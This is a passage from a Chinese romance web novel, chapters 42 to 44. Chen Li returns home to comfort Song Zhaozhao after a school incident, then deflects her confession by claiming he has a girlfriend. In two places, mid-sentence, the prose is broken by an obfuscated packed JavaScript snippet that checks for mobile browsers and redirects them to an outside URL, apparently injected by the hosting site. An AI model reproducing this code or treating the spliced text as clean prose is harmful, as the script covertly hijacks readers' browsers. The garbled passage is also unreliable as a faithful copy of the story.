宋昭昭此刻心烦意乱,本无意回复任何人的消息,下定决心屏蔽一切外界的干扰,指腹朝确认键缓缓移动。 下一秒,又跳进来一条消息。 谁啊? 宋昭昭拧眉。她松开了手,滑动屏幕,翻到微信聊天界面。 只一眼,宋昭昭怔住。 ——陈历? 怎么会是他。 42. 第四十二章 42 ——陈历 他怎么会突然给她发消息?她在校读书期间,陈历基本甚少回复她的消息,更别论主动找她聊天。 宋昭昭的手指无意识地摩挲屏幕,犹豫片刻终究是点开了他的头像。 映入眼帘的是一张图片。 她放大照片,屏幕瞬间被五颜六色的鲜花填满,他大概是在街边遇到了摆放的鲜花摊,跟当年在市民公园摆放的摊子有些类似。 花花绿绿的颜色予人好心情,春天在今晚浓郁。 图片下面跟着一句话。 【你觉得哪一束好看?】 嗯? 宋昭昭沮丧的心情被疑惑挤占大半,大半夜的,他忽然问她觉得哪一束花好看做什么?是想买下它送人吗? 送给谁? 导师,学姐,还是……自己买来插着玩儿? 或许她的这些问题太越界了。 宋昭昭再次浏览图片上那些花,绽开的花朵,每一束都特别好看。可如果问她,哪一束最好看。 她一定会毫不犹豫回答。 【茉莉。】 发送完消息,宋昭昭也不管陈历有没有回复,兀自将手机收回口袋,这次没有关机。 她站在一盏路灯下,溶溶灯光洒在她肩膀上。 暖融融的晚风抚过她的面庞,她伸手擦了一遍脸上的泪痕。 陈历打来电话,开门见山道:“你现在在哪里?” 今天是周四,她当然是在学校学习。 如果不是因为夜自修开始前那场意外…… 宋昭昭抬起头,望向被暖融融灯光照耀的、望不到尽头的小路,那些熟悉的街景和树木仍矗立在原地。 她曾在这条路上悠悠荡荡,也在这里跑过一盏又一盏路灯。 宋昭昭烦乱的心被这些静立的植物抚慰了,她莞尔一下,缓缓开口:“风光路。” “好。”陈历居然不意外,语气平淡地叮嘱她,“不要乱跑,在那里等我。” 你回来了? 宋昭昭眼眸中闪过震惊的情绪,动了动嘴唇,想问的话堵在嗓子眼。 电话再次挂断。 - 陈历坐了两个小时的飞机从学校飞回家,落地立马给余菲打了个电话。 余菲打听到消息,说:“半小时前,他们已经从学校离开了。” 她还说:“张威给出‘停学一周、检讨1000字的惩罚’,相对而言不算重。估计这份检讨要在周一的升旗仪式上匿名朗读。” 陈历早见识过张威的严厉,知道今天这个惩罚算是手下留情。向余菲道谢过后,准备先打车回家。 他拖着行李箱从机场出来,站在门口等车,正巧碰见外面摆了几个摊子。 陈历随意扫了一眼,止住向前的脚步,走向摆满鲜花的小摊。 既然宋昭昭已经被父母接走了,那她的手机应该在身上。他对着眼前的鲜花小摊拍了一张照片,点击发送。 一张照片显得莫名其妙,他又问她觉得哪一束好看。 等待回复消息的时间里,摊主前来向陈历推荐,每朵花都夸得天花乱坠,又问他是想送给谁? 不同的花有不同的含义。 “如果是女朋友,玫瑰当然是首选。如果是朋友……”摊主喋喋不休。 宋昭昭发来消息。 【茉莉。】 与他内心的答案一模一样。 陈历浮起淡淡的笑意。 他的目光落在一朵朵白花上面,摊主顺着他的视线望过去:“你是要茉莉吗?茉莉花好啊,香味淡淡的,寓意也好。” “有什么寓意呢?”他问。 “哦——”摊主拉长了语调,“茉莉花的花语是忠贞,清纯,迷人。它既象征友情,又可以代表爱情。” “帅哥,你是想送给朋友,还是女朋友?”摊主挑眉,八卦地问道。 “都不是。”他说。 “既不是朋友,也不是女朋友……”总之,茉莉花很少被人挑选送给母亲或者老师这些长辈,摊主意味深长地看向他:“那就是还在追咯?” 陈历笑而不语。 他付过钱,从对方手中接过包装精美的花束。 茉莉花的香味幽幽地传来,陈历将它揽入怀中,紧绷的神经难得有些放松。 其实,自打三年前他送过宋昭昭茉莉之后,他便萌生出给她送花的想法。摆在书桌前,一周一换。 她如此皎洁纯白,当以同样洁白的茉莉相称。 只是,他找不到送她花的理由,迟迟没有付诸行动。 他明知宋昭昭对他的情谊,就更应该加以正确的引导,而非做出似是而非的举动,引得她遐想、纠结。 所以,那些送花的想法都被他搁置了。 风中隐隐飘来叹息声,陈历抱住花的手不自觉收紧。 - 陈历捧着这束茉莉回到风光路。 的士停在巷子口,他走进来,一路上灯光和树影在后撤,让他想起当年,他和母亲乘坐货车,拉着家具家电,坐了三四个小时颠簸的路程来到此处。 母亲告诉他:“将来,我们就要住在风光路了。” 这一住,就是五六年 他们在这里遇到了热心肠的好邻居,母亲交到了亲如姐妹的朋友。甚至包括他,都被那个古灵精怪又软软糯糯的小女孩治愈着。 他时常在想,如果家中没有突遭变故,或许,他便遇不到她。 可也正因为家里的事情乱七八糟,他才更觉得出生在和睦家庭里的她,从小无忧无虑长大的她,没必要卷进糟心的家长里短之中。 她的心思像风,无处不在。 偏偏他视而不见,在每个起风的时刻潜入湖底,留下波澜不惊的湖面让她猜。 他想到风时,正巧有一阵晚风拂过。 茉莉花清淡的香气顷刻间钻入他的鼻子,与那些浓郁到令人反胃的香味大不相同,它的香气淡而不腻,勾人心魄。 陈历忍不住凑近嗅了嗅。 他继续往前走,终于在路的尽头,风声止住了。 四周静悄悄的,居民们早早回了家,就连往日最热闹的小广场现下也空无一人。唯有一盏灯陪伴她,那溶溶的路灯光将她包裹着。 她沮丧地垂着脑袋,什么都没有做,只是呆呆地盯着路面。 花香仍漂浮在半空。 陈历的脚步放得尤其缓慢,他敛息屏气,小心翼翼靠近她,终于唤出他心底独属于茉莉的名字。 “昭昭。” 闻言,远处的女生轻抬起头,视线从朦胧的光影中寻到他,宋昭昭心头一跳,抿了抿嘴唇演示此刻的慌张。 委屈、内疚、难过……数种思绪在空中交缠,千言万语都抵不过这一刻目光的交汇。 暗香浮动。 宋昭昭嘴巴微张,不紧不慢地说:“陈历哥哥,你回来了。” 无比确定以及肯定,你回来了。你从遥远的北方城市,从你的大学,回到了我面前。 你回来了。 隔着五六米远的距离,陈历朝她微微一笑。那些涌上来的心疼和怜惜被他压了下去,他问:“是不是等很久了?” 其实还好。 从刚刚挂断电话,到他回到风光路,站在她面前,过了不过半个小时左右的时间。 她没听懂他的话外之音。 那不重要。 陈历拎着行李箱朝她走过来,每一步都被风吹得轻盈,又被那支茉莉压得沉重。终于,他在她面前堪堪停下脚步。 伸出手,洁白的、茂密的花束被递到她面前。 宋昭昭垂眸,看见一半已经盛开、一半仍含苞待放的茉莉被捆成一扎,花瓣洁白,枝叶翠绿稠密,挺新鲜的。 随着花束递到她面前,那些香味也即可萦绕在鼻尖。 她稍抬眼睑,撞进那双漆黑的眼眸。 陈历把茉莉花塞到她怀里,错开她审视的目光,摸了摸鼻子解释:“刚出机场就看见一排摆满鲜花的小摊子,这么晚了还在那里,照顾照顾他们生意就买了。” “哦。” 宋昭昭低低地回应一句。 茉莉花香清幽淡雅,好比今晚皎皎的月色、柔和的晚风,是平淡、优雅的。 “跟我上楼吧。”陈历单手推着行李箱,往筒子楼的方向走去。待宋昭昭反应过来时,人已经同她擦肩。 两道在空中交汇的目光就这么错开。 整个过程非常稀疏平常,一如无数个重复的、平静的夜晚。 宋昭昭却觉不然。 她的心跳在这个安静的夜晚奇异地加速。 “陈历哥哥。”宋昭昭唤住他。 她总是冲动,以至于回过神时,话已经问出了口:“你……不好奇为什么今晚我会在这里吗?” 陈历回过头。 “等你想告诉我的时候,再说吧。” - 今晚董莲值夜班,估计要到明天凌晨才会回家。 他们进门的时候,屋子里窗帘紧闭,昏暗的房 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他们在一起相处的时间太短,以至于那些为数不多的交集成了岁月雕刻的作品,时间越久,便越深刻。 宋昭昭耸了耸肩膀,感慨自己记忆力好,又感叹当年的岁月是她人生中不可多得的瑰宝,在她的回忆里闪闪发光。 风光路入口有一家小型超市,离居民楼两百米左右的距离。 他们一前一后进入,陈历帮她掀开帘子,待她走进后,又轻轻将它放了下来。 货架上零食琳琅满目,宋昭昭来来回回走了两圈,环视整场,疑惑道:“奇怪,之前我常买的小麻花怎么没有了?” “没有了吗?”陈历顿住脚步,“之前我还买过……” 话音戛然而止。 他们两个隔着一排货架对面而立,超市里明亮的白炽灯将他转瞬即逝的心慌和无措照得无所遁形。 宋昭昭抓住他话音里的错漏,看向他的眼神变得探究起来。 他似乎是说漏嘴了。 陈历平时不爱吃零食,就连饮料也很少喝,他保持着健康的饮食生活,规律克制。 先前宋昭昭不吃饭,拿零食填肚子,总不免被他教育,举例多吃零食的危害,要她今后戒掉这一习惯。 宋昭昭总是“哦哦哦”地应着,点了点头,转身又无所谓地咬一口饼干。 他不吃零食,董莲作为中年人,将养身当作目标,更不会碰。那他之前买了小麻花,是送给谁了? 还有谁也喜欢吃同款小麻花? 宋昭昭想起高一那年,余菲亲手交给她的那袋零食里面,就有好几包她喜欢的同款小麻花。 答案不言而喻。 宋昭昭若有所思地盯住他。 陈历眼神闪烁,在她审视的目光里小幅度地舔了下嘴唇。他别开眼,默不作声地从货架前走过,随手拿了一包原味薯片丢进篮子。 宋昭昭嘴角扬起一抹若有似无的笑意。 今晚因为那场闹剧而郁郁寡欢的心情终于拨开云雾,有好转的迹象。 - 提着一袋零食返回风光路,刚走到居民楼前,宋昭昭的手机又响了。 来电人是宋母。 宋昭昭撇了一眼,犹豫不决。手机被她捏在掌心,她垂着眼皮看跳跃的数字,似乎是在等对方耐心耗尽,自行挂断。 可偏偏铃声拨着她的太阳穴,突突地跳着。 陈历注意到她的不情愿,走到她身侧问:“要我帮你接吗?” 宋昭昭诧异地抬眸,眉头微微上扬,视线在半空不偏不倚地相撞,陈历朝她郑重地点了点头,似乎在说“放心交给我”。 他是陈历,宋昭昭对他从来不保留。 她将手机递给陈历,长舒了一口气。 接起电话前,陈历清了清嗓子,似乎也有些紧张:“喂,宋阿姨,是我。” 宋母嗓门响亮,从电话里透出惊讶:“阿历?怎么是你接电话啊?你今天回家了?昭昭在你身边吗?她去找你了?” 接二连三的问题令旁听的宋昭昭招架不住,她提起脚,往楼道里走去。 “昭昭在我身边,阿姨您别担心。” 陈历镇定、冷静的声音有抚慰人心的作用,电话那端,宋母听到他确切的回复后,悬着的心稍稍放了下来。 可紧接着,宋母的疑问浮出脑海:“你们两个……怎么会在一起?” 43. 第四十三章 43 话音刚落,陈历与宋昭昭默契地对视一眼,她凝视着他,嘴唇紧闭,似乎也在紧张他的回答。 “哦,我今天刚从学校回来处理点事情。” “路上遇到昭昭,就把她带回了风光路。” 他撒谎了。 陈历不自然地偏开眼睛,上楼时忘了跺脚,声控灯熄灭,楼道里陷入黑暗。 宋昭昭走在他身侧,听到他的回答后,紧绷的肩膀渐渐松垮下去。 “这样啊……”宋母不疑有他,笑了两声,“那是有些巧。” 他们摸黑走到房间对应的楼层,陈历一手提着零食袋子,一手拿手机回答宋母的问题,没有多余的手去开门。 他借着从楼道窗户打进来的薄弱月光,寻到宋昭昭的眼睛。 他冲她浅浅抬了抬下巴,示意她从他的口袋里拿钥匙开门。 宋昭昭视而不见。 她别过脸,透过楼道的缝隙抬头往上望,猎猎风声从窗户口灌进来,如瀑布明亮纯净的月光也倾泻进来。 宋昭昭顿时起了去天台转悠的想法,于是转过身,用嘴型向陈历询问:“我们去天台坐会儿,好吗?” 殷切的眼神直勾勾地望着他。 电话那端,宋母嘱托的声音传了过来:“阿历,你帮阿姨留意一下昭昭的情绪状态,我怕她不高兴,想不开。” “好。” 陈历的目光在宋昭昭身上顿了一秒,恰逢其时的一声“好”,不知是回应了宋母的托付,还是答应了宋昭昭上楼的请求。 - 微弱的月光照亮前行的路,洒在水泥地面泛起冷冷的光亮,有几分凉薄之意。 陈历跟在宋昭昭身后,前后脚进入了天台。 风光路这一片区域的房子统一建于二十世纪初,距今已有二十多个年头,从外部结构装修来看,确有几分老旧。 一栋栋老房子矗立在此处,好似迟暮的老人,随着岁月变迁见证社会发展。 天台墙面的表皮已经剥落,不小心撞到就会簌簌掉下一层灰。 平台偶有热心的居民上来打扫,但因为年头久,再怎么维护也有坑坑洼洼的小坑。 这个城市雨盛,通常一下能下半个月,照不见阳光的天台裂缝间,便会钻出生命力顽强的小草,风吹日晒,都压不跨它。 墙角长满翠绿的青苔,好似一小块柔软的绒毯。从东边蔓延至西边,长约七八米,非常适合拿去造微景观。 从东往西,共竖着十二根铁架子,两两一对,错落有致地分布在这片空间。 铁架子架着一根木杆子,一般用来晾晒衣服、棉被,天气好的时候,大家都要排队定好各自晾晒的日期。 宋昭昭进入天台,穿过这些高高低低的铁架,走到东边最边缘的位置。 那里摆放着一张铁质摇椅,模样似秋千,刚好容得下两个人。 她在摇椅左端入座。 宋母今晚刚和不讲道理的人吵了一架,这会儿正想找人评评理,陈历的轻声细语有抚慰人心的作用,宋母对他尤其信任,在他的劝慰下放松身心,长长舒出一口气。 她难得找到一个愿意倾听的人,故而多讲了几句。 “唉,我是越来越搞不懂你们年轻人了。现在大家的学习条件和生活条件都比七八十年代好太多,可偏偏现在的小孩身在福中不知福。” “脑子里不想着如何提高成绩,居然想起来搞恋爱!” 陈历笔挺的身姿立在摇椅前面,视线扫过宋昭昭,声线沉稳:“阿姨,今天晚上是发生什么事情了吗?” 他的“好奇”给宋母的情绪提供了一个闸口,她的抱怨和怒意好似滔滔洪水,从狭窄的口子喷涌而出。 她愤愤道:“啊呦,阿历我跟你说啊,今天晚上差点没把我气死。” 宋母长吸一口气后,开始喋喋不休。 此刻,宋昭昭坐得离他有些远,她仰头目不转睛地盯着陈历的侧颜,他嘴角平直,眼神平静,神情几乎没有变动。 风里传来母亲的声音,她只隐约听见几个字眼,两个人似乎是在讨论今晚发生的事情。 她下意识想阻止,但陈历当着她的面撤退了两步。 他用嘴型无声地回应她:“没事的,你妈妈只是想找个人倾诉。” 宋昭昭回想起在德育处,母亲为了她据理力争,与贺辛述的母亲大战三百回合。她吸引走全部火力攻击,才能让宋昭昭免受其他人审视的目光。 宋母平日里待人和善,但遇上不公道的事情,脾气偶尔会变得有些暴躁,她那样正直、不屈的人,碰到委屈若是憋闷在心底,肯定难受。 不如让她发泄出来。 陈历是个专注耐心的倾听者,也是个善解人意的劝慰者。 宋昭昭对他很放心。 于是,她不再阻止。安心地坐回到摇椅上,踮起脚尖小幅度晃动。 月色下,两个人的身影在地面不时相撞、交叠,又缓慢分开。 “阿历,你说说这一家人,是不是各个都是奇葩!明明是她儿子对我女儿动了歪心思,写情书、送礼物,拉着昭昭去小树林告白。他们居然还有脸倒打一耙,怪上我们昭昭了。” “那破礼物她就算当成宝又怎样,我们昭昭可不稀罕。” “我不说富养昭昭十几年,但这些年里金钱、时间、陪伴,一样不落,我的女儿可不是别人一条手链就能骗走的。” “还有那情书,我都不想说……什么喜欢你已经有三年了,无时无刻不在想你,我不想将来的自己后悔……” “既然三年前就喜欢了,早不表白晚不表白,非得挑在高考前告白是吧?” “你说昭昭是答应呢还是不答应呢?” “这万一被拒绝了心情沮丧难过,没心思学习,考砸了怪到谁身上?毕竟这可是高考,人生很重要的一个转折点,谁负担的起啊?” “再说了,昭昭自从上了高中,没日没夜地拼命学习,好不容易从中下游的成绩稳定到全校前三十名。她吃了这么多苦,我也不想她被影响,我希望她得偿所愿。” “幸好我家昭昭还没有丧失理智、降低眼光,随随便便答应一个男生的告白。今晚他家里人这么一闹,就算昭昭对他有兴趣,我也得棒打鸳鸯!” “都什么人啊,胡搅蛮缠,家风不正!” “昭昭可是我捧在手心里长大的。我就这么一个宝贝女儿,要真和人家在一起了,不得被对方家长欺负死,天天受委屈啊……” “气死我了,气死我了!” 宋母的怒火烧得正盛,每一句话都为下一段吐槽添柴加火,熊熊火焰从电话那端蔓延过来,烧得陈历的脸也火辣辣得疼。 “高考”、“没日没夜”、“得偿所愿”、“负担”、“家风不正”等字眼通过她的口,一次次拨动着陈历那根理智的弦。 太阳穴莫名开始突突地跳,陈历喉咙发紧,张了张嘴,却发不出声。 他终是错开宋昭昭明亮的眼眸,垂下头,自嘲地牵了下嘴角。 - 天台晚风喧嚣,将宋昭昭的一头黑发吹得凌乱,她重新抓了一把马尾,将鬓角被吹乱的发丝捋到耳后。 这通电话打了半个多小时,宋母断断续续地讲述自己的观点,说了这么多话,不知道她口渴不渴,反正宋昭昭听得有些累。 她拧开一瓶矿泉水,递给陈历。 陈历顺手接过。 月光下,他微微仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405696|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头,嘴唇贴着瓶口,矿泉水从他的嘴巴里灌进去,喉结随之一上一下地滚动,那一颗被柔和月光照耀的喉结,居然显出几分性感来。 精壮的手臂、骨节分明的手指,风撩动他额前的碎发,露出少年一双深沉的眼眸。 这一幕太眼熟。 宋昭昭不由地想起霞光漫天的傍晚,他刚搬来风光路的第一天,便是眼前这副画面。 少年人全神贯注地做自己的事情,全然不会被周边的嘈杂人声与打量的目光所影响。 她不禁弯起嘴角,在他拿下矿泉水瓶的刹那,欲盖弥彰地低下头。 挪开眼后,宋昭昭随手拆开了一包话梅糖。 宋母拉着陈历吐槽了大半天,最后不好意思地笑笑:“阿历,刚刚向你输出了太多负面情绪,多亏你包容,不好意思啊。” “没事。” “今晚就麻烦你帮我劝劝昭昭了,你帮我和她说,未来还很长,没必要拘泥于眼前。” “好的。” “有空和妈妈一起来阿姨家里玩,阿姨给你们做拿手菜吃。” “好的。” 陈历挂断电话,手伸进裤兜,左右翻找了几下,什么也没有掏到。 他从高二,家里出事那年开始,就学会了用抽烟排解糟糕、烦闷的情绪。起初有些控制不住瘾,一天能抽掉半包。后来时间久了,抽烟这事也变得没滋没味,不仅伤害身体,而且对生活里实际遇到的问题毫无帮助。 他觉得无趣,就戒了。 后来上大学、考研,同门之间聚会,交际场上十个至少有四五个人会递烟,拒绝不掉,他权当消遣一般抽着玩。 他烟瘾不重,可是刚刚,忽然就很想来一根烟。 陈历抬手摁了两下太阳穴,走到宋昭昭身侧。 他心不在焉地坐在摇椅上面,眼眸微垂。 两秒钟后,视线范围内伸过来一只手。 白嫩的手握成一个小小的拳头,指甲修剪得很干净,颜色粉粉嫩嫩的,一看就是“不沾阳春水”的双手。 从小到大,宋昭昭就没做过脏活累活。 陈历从她不怎么做饭、洗碗都会不小心打碎盆碗等细微的小事中得出结论,宋父宋母待她十分珍重。 正如宋母所言,昭昭是她捧在掌心里长大的,是她的宝贝女儿。 她应该有光明璀璨的人生,和优秀、正直、善良的人并肩前行。 盯着那只手,太阳穴又跳了一下,陈历有片刻的失神。 紧接着,宋昭昭握拳的手在他眼前缓缓张开,红润的掌心里静悄悄躺着一颗黑色包装的话梅糖。 这包话梅糖是她在超市原先摆放小麻花的货架上找到的,有时候她挺相信缘分和天意,既然超市用话梅糖替代了小麻花,她不如尝试一回。 “吃吗?” 她嘴里还含着刚才那颗快融化大半的话梅糖,口齿含糊不清问道。 陈历偏过头,注视她许久。 无数个想法在脑海中冲撞,却在对上她澄澈的眼睛后败下阵来。他默默地从她掌心拿过那颗糖,剥开包装放入嘴巴。 糖刚入口,宋昭昭立即凑上来,长睫毛扑闪了两下,问:“怎么样,好吃吗?” 眼睛亮晶晶的,好似繁星闪烁。 “还行吧,不过吃多了……”陈历挪开目光,并没什么兴致的打趣,“小心蛀牙。” 宋昭昭不满:“勤刷牙就好了呀!” “你怎么变得比我还瞻前顾后,总是设想没发生的事情。” 长久的沉默。 半晌,风里传来他的叹息:“大概是因为,我所能抓住的,太少。” 许是他的语气过于沉重,宋昭昭的心紧跟着空了一下。 44. 第四十四章 44 他声音低低的,语气稀松平常,落在宋昭昭耳朵里却有排山倒海之势。 “我所能抓住的,太少。” 什么意思?他抓不住什么?失去过什么?希望留住的又是什么?为什么他的语气充满无奈,还有那风也吹不散的遗憾? 他现在……过得不开心吗? 宋昭昭咬紧了嘴唇,不动声色地打量陈历。 后者背靠摇椅,肩膀不知因为放松还是无力,轻微地下垂着。 他低着头,眼神无焦点地落在地面,额前的碎发在眉骨投下一片阴影,挡住了他收敛的表情,宋昭昭难以揣测他此刻的情绪。 嘴角始终紧抿着,仿佛是怕开口就会泄露心中所想。 他谨慎地将自己藏于阴影里,一动不动,像一潭无法被风吹起涟漪的死水。 陈历沉默着,凝滞的气氛让宋昭昭感到不适应。 她动了动身子,两只手支在摇椅上,觉得这个坐姿古怪,又收起了手搭到大腿上,好像还是有些不对劲…… 宋昭昭若有似无地轻叹一声,坐立难安。 她好像略显肤浅,读不懂他的烦恼与忧愁。 陈历高考考入全国知名学府,本科毕业又被A大法学院录取,双一流高校,多么好看的学历,他几乎要成为风光路所有小孩学习的榜样,邻居们都夸他年轻有为,而他的未来确实如他当年所愿想的那样,一路腾飞。 为什么他会觉得能抓住的太少? 宋昭昭想不明白,她嘴巴微张,刚要开口询问,没想到被陈历抢了先。 “刚刚,宋姨和我说了今晚你们在学校遭遇的事情,她让我帮着劝一劝你。” “劝我什么?” “离高考不到百天,她希望你的心情不要受乱七八糟的事情影响。以及,她劝你把心思放在学习上。” “我当然知道!” 宋昭昭背靠摇椅,脚尖点地,向下发力。 静止的摇椅被她的力量推的一前一后开始快速摇晃,摇椅年久失修,动起来时发出尖细的、刺耳的“嘎吱嘎吱”的声响。 宋昭昭皱起眉。 她放缓双脚前后蹬地的速度,那些动静也跟着弱下去。 陈历见状,单手搭到摇椅的椅背上,踏在地面的双脚紧跟着使了一点点力气,好叫摇椅保持慢悠悠摇晃的姿态。 晚风吹来她的回答,声音轻而柔:“我为高考努力了那么久,才不会因为无关的人和事影响状态。” “眼下我只有努力提升、正常发挥这一目标。” “嗯。” 陈历眉梢微挑,赞许地点点头:“那你很聪明。本该如此。” 短暂沉默。 宋昭昭的脖子微微仰起,她望着悬挂在夜幕,遥不可及的明月,心底五味杂陈。 半晌后,她抿了抿嘴角,思考过后觉得还是应该告诉他,于是她说:“我没有答应他。” 陈历说:“我知道。” 且不论宋母早就在电话那端将男生一家批得狗血淋头,拍拍胸脯庆幸地说出“还好昭昭没有答应”。 就单凭他这么多年对她的了解,也猜得到她的答案。 月色如水,晚风轻拂。 天台上空空荡荡,安宁寂静,唯有摇椅前后摆动发出别扭古怪的“嘎吱”声,一下一下地踩着宋昭昭的心跳。 深夜无人会踏足这一块角落,气氛美好到她在这一晚、这一刻,聚积起一往无前的勇气。 她想……她想…… 择日不如撞日,她想…… 一想到接下来她要做什么、说什么,宋昭昭的气息全都紊乱了,心跳似是坐上了游乐园的跳楼机,缓慢向高处爬去。 胸膛起起伏伏,摇椅的速度慢下来。 宋昭昭用脚尖的力道止住摇椅的晃动,她舔了舔唇,深吸一口气,面朝陈历。 “其实,其实我喜欢的一直是……” 陈历的眉心微不可察地抽搐了一下,在宋昭昭说完完整的话之前,他出声截断了她。 “昭昭。” 一直是你。 - 最后一个字断在风里,宋昭昭的眼眸渐渐黯淡下来,那些破裂的情绪一如被枝丫打碎的月光,零零散散地落在地面。 她好像猜到了陈历打断她说话的真实意图。 仿佛有一颗石头被掷入水中,层层涟漪向岸边撞去,那些摇晃的水纹仍在荡漾,可石头已经默默沉底。 一如她死寂的心。 宋昭昭出乎意料地平静。 她不再执着于把话说完整,而是一声不吭地注视着他,一眨也不眨的目光像要将他的心掘地三尺。 不该如此。 他们本不该如此。至少,不是现在。 陈历的眼中亦有哀伤。 他想起方才宋母与他通话,话里话外是对男生家庭的数落,因为对方父亲和稀泥,因为对方母亲推卸责任、污蔑昭昭。 宋母对他们的印象很糟糕。 在她眼里,如此恶劣性格的父母养不出优秀的儿子,家风不正的人前期装得再好,在一起之后,迟早露出马脚。 毕竟江山易改,本性难移。 一顿争吵,让宋母在心里对这一家人画了一个大大的叉。 那他呢? 陈历很难不联想到自己的际遇。 他的父亲陈国平承包工程失败,拖欠工人工资,甚至想过变卖家产后躲到另一个无人知晓的城市生活。哪怕母亲跟在父亲屁股后面,帮他收拾了烂摊子,但他父亲上过征信,他和陈国平目前尚未断绝父子关系,将来很可能被牵连。 平日里,宋母与董莲互称姐妹,有什么好吃的都要送过来分享,听到邻居的八卦更是第一时间关起门来议论,关系和睦,亲如姐妹。 但这层关系,也仅限于没有触及到自身的利益。 如果…… 如果他和将来和宋昭昭纠缠不清,宋母是否会不顾姐妹情谊,不顾昭昭意愿,第一时间跳出来棒打鸳鸯? 昭昭还小,在感情中更多考虑的时你情我愿。 他不同。 陈历到底是年长她几岁,经历过社会风雨的洗礼,他明白喜欢的人想要长久地在一起,不能光凭心意,还要看家境、三观、品性。 可他现在除了一颗赤诚的心,什么都没有。 或许快节奏的恋爱在现代社会越来越普遍,身边人谈了又分分了再谈,已经习以为常。他单身多年,与身边的异性保持边界,行为举止规规矩矩的,和花天酒地的朋友相比,确实像个跟不上潮流的老古董。 大概是他思想腐朽,觉得爱是一件长长久久的事情,如果双方都无法全心全意地投入到这段感情之中,倒不如不要开始。 他依然觉得男生在感情之中需要担负起更多的责任,物质条件是基础。 他却连最基础的也无法给予。 未来能不能靠做律师混一口饭吃?陈历在心底为此打了一个大大的问号。 前路迷茫,毕业之后何去何从都还是个未知数,难道他要现在答应昭昭,让她跟着一起吃苦吗? 即便昭昭愿意,他也不忍心。 从初中以来,他就被多个女生告白过,每次都是冷着一张脸拒绝。朋友说他铁石心肠。 但不知从何时起,他那如冰块一般冰凉坚硬的心出现裂缝,春日暖融融的水流淌而过,他的喜欢和心动,全都沁了出来。 可他什么都没有。 他甚至不敢用他的双手捧起那一汪春水。 于是,他打断了宋昭昭的话。 沉思半秒,陈历的嘴角噙起一分笑意:“昭昭,忘了和你说,我恋爱了。” 她眼中的光芒如同泡沫,被轻轻一戳,碎个彻底。陈历对着她越来越黯淡的眼眸,继续狠心道。 “你以前不是说我恋爱了一定要告诉你,你想看看她的样子吗?” 晚风似刀,刮开她的眼睑,灌入其中。 一瞬间,双眼变得酸疼难忍,有什么液体充盈着它,肿肿胀胀的,不适感在加深。 他是疯子。 双目对峙,谁都不肯退让的刹那,宋昭昭给他下了定论。 谁要听到你谈恋爱的消息?谁要看见你女朋友的模样? 陈历,你到底明不明白? 到底明不明白我的坚持,和我所有的爱欲。 脊背僵直,宋昭昭一再吸溜鼻子,借此压制酸涩的情绪。泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405697|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水夺眶而出前,她迅速偏开了头。 宋昭昭闭了闭眼,轻轻一笑。 低垂着头的她像个手下败将,晚风从她的眼中拔了出来,带着血和泪涌向陈历。 被风裹挟着的、含糊不清的声音递到他耳畔。 陈历听见宋昭昭的哽咽:“好啊,给我看看吧。” - 诚实来讲,女孩子很漂亮。 她有一双圆溜溜的杏眼,眼睛白白净净的,仿佛没有受到过世俗浸染。微笑时眉目弯成一道桥,浅笑好比春风拂面。任何人看见这张照片,恐怕都要被感染快乐。 宋昭昭盯着那张照片看了好久,猩红的眼眶努力睁圆,将落未落的泪被她憋了回去。 原来,他喜欢这般模样的女生。 温柔、漂亮、成熟、知性。 “她叫什么名字?” “徐行雪。” “分别是哪三个字呢?” “清风徐来的徐,及时行乐的行,雪……大雪纷飞的雪。” “哦。”宋昭昭轻点了下头,“知道了。是个很好听的名字呢。” 夸赞出自真心实意。 光是看了一张照片,还没有真正与人接触过,宋昭昭已经凭她的想象勾勒描绘出徐行雪的形象。 她对她的赞扬只多不少,因为她相信陈历的眼光。 他沉稳可靠,睿智聪慧,如果对方不是他中意的女生,恐怕他也不会将就。 所以,徐行雪一定是个很好、很好的姑娘。 宋昭昭心中涌起一股难以言喻的情绪,耷拉着脑袋,目光仍留在照片上,她继续发问:“你们怎么认识的?” “她是我研究生同学,我们在同一个导师手下。” “那……你们什么时候在一起的呢?” 理智与冲动在做搏斗,宋昭昭逼迫自己接受现实,可仍是不甘心地一再试探。 “就前段时间。” “之前怎么没听你提起过。” “因为刚在一起没多久,彼此都还在磨合,所以想着低调为主。” 他的回答滴水不漏,宋昭昭找不出一丝错处。 看照片的时间足够久,久到陈历举在半空的手都开始发颤,她才淡淡说道:“看完了。” 那些隐晦的、难言的喜欢,全都在今晚幻化成尖锐的刀,扎向她的胸口。 白刀子进,红刀子出。 她被捅得鲜血淋漓,还要微笑着说一句:“挺好的。” 月色下,宋昭昭的脸被照得惨白,嘴唇毫无血色。嘴里的话梅糖已经融化,唇齿间遗留着微酸的味道。 她的身体在颤抖,止不住颤动。 仿若被人丢进透着凉意的湖水,她疲惫的身体好似一块铅块,沉重、笨拙,在湖面浮沉了两下,以更快的速度往下掉。 冷。 透彻心扉的冷。 宋昭昭搭在膝盖上的两只手下意识紧握成拳,身体的骨骼往里缩,将自己缩成小小一团,避免那些热量散掉。 可这不够,远远不够。 这阵寒意随着夜风腾空而起,她的嘴唇在打颤,双腿不受控制地抖动,这个强烈的反应完全超出身体所能控制的范围,就连宋昭昭也觉得疑惑。 她怎么了? 明明今天气温骤然上升,她在白天还出了汗。此时此刻怎么会感到前所未有的寒冷? 